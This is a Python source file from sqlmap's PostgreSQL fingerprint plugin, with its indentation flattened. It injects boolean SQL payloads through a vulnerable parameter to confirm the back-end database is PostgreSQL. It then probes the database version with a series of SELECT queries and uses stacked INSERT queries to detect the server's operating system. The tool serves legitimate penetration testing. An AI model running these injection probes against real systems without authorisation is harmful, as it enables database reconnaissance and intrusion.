#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""
import re
from lib.core.agent import agent
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import getUnicode
from lib.core.common import randomInt
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.session import setDbms
from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import PGSQL_SYSTEM_DBS
from lib.request import inject
from lib.request.connect import Connect as Request
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
class Fingerprint(GenericFingerprint):
def __init__(self):
GenericFingerprint.__init__(self)
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
if not conf.extensiveFp:
value += DBMS.POSTGRESQL
return value
actVer = formatDBMSfp()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getHtmlErrorFp()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
def checkDbms(self):
"""
References for fingerprint:
* http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2)
"""
if conf.dbms in PGSQL_ALIASES:
setDbms(DBMS.POSTGRESQL)
self.getBanner()
if not conf.extensiveFp:
return True
infoMsg = "testing PostgreSQL"
logger.info(infoMsg)
randInt = getUnicode(randomInt(1))
payload = agent.fullPayload("AND %s::int=%s" % (randInt, randInt))
result = Request.queryPage(payload)
if result:
infoMsg = "confirming PostgreSQL"
logger.info(infoMsg)
payload = agent.fullPayload("AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
result = Request.queryPage(payload)
if not result:
warnMsg = "the back-end DBMS is not PostgreSQL"
logger.warn(warnMsg)
return False
setDbms(DBMS.POSTGRESQL)
self.getBanner()
if not conf.extensiveFp:
return True
if inject.getValue("SELECT DIV(6, 3)", unpack=False, charsetType=2, suppressOutput=True) == "2":
kb.dbmsVersion = [">= 8.4.0"]
elif inject.getValue("SELECT SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)", unpack=False, charsetType=2, suppressOutput=True) in ( "1", "2" ) and not inject.getValue("SELECT SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2, suppressOutput=True) in ( "1", "2" ):
kb.dbmsVersion = [">= 8.3.0", "< 8.4"]
elif inject.getValue("SELECT SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2, suppressOutput=True):
kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"]
elif inject.getValue("SELECT GREATEST(5, 9, 1)", unpack=False, charsetType=2, suppressOutput=True) == "9":
kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"]
elif inject.getValue("SELECT WIDTH_BUCKET(5.35, 0.024, 10.06, 5)", unpack=False, charsetType=2, suppressOutput=True) == "3":
kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"]
elif inject.getValue("SELECT SUBSTR(MD5('sqlmap'), 1, 1)", unpack=False, suppressOutput=True):
kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"]
elif inject.getValue("SELECT SUBSTR(CURRENT_SCHEMA(), 1, 1)", unpack=False, suppressOutput=True) == "p":
kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"]
elif inject.getValue("SELECT BIT_LENGTH(1)") == "8":
kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"]
elif inject.getValue("SELECT SUBSTR(QUOTE_LITERAL('a'), 2, 1)", unpack=False, suppressOutput=True) == "a":
kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"]
elif inject.getValue("SELECT POW(2, 3)", unpack=False, charsetType=2, suppressOutput=True) == "8":
kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"]
elif inject.getValue("SELECT MAX('a')") == "a":
kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"]
elif re.search("([\d\.]+)", inject.getValue("SELECT SUBSTR(VERSION(), 12, 5)", unpack=False, suppressOutput=True)):
kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"]
elif inject.getValue("SELECT SUBSTR(CURRENT_DATE, 1, 1)", unpack=False, charsetType=2, suppressOutput=True) == "2":
kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"]
elif inject.getValue("SELECT SUBSTRING('sqlmap', 1, 1)", unpack=False, suppressOutput=True) == "s":
kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"]
else:
kb.dbmsVersion = ["< 6.2.0"]
return True
else:
warnMsg = "the back-end DBMS is not PostgreSQL"
logger.warn(warnMsg)
return False
def checkDbmsOs(self, detailed=False):
if kb.os:
return
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "character(10000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
# Windows executables should always have ' Visual C++' or ' mingw'
# patterns within the banner
osWindows = ( " Visual C++", "mingw" )
for osPattern in osWindows:
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%" + osPattern + "%')>0"
query = agent.forgeCaseStatement(query)
if inject.getValue(query, charsetType=1, suppressOutput=True) == "1":
kb.os = "Windows"
break
if kb.os is None:
kb.os = "Linux"
infoMsg = "the back-end DBMS operating system is %s" % kb.os
logger.info(infoMsg)
self.cleanup(onlyFileTbl=True)
def forceDbmsEnum(self):
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
conf.db = "public"
warnMsg = "on PostgreSQL it is only possible to enumerate "
warnMsg += "on the current schema and on system databases, "
warnMsg += "sqlmap is going to use 'public' schema as "
warnMsg += "database name"
logger.warn(warnMsg)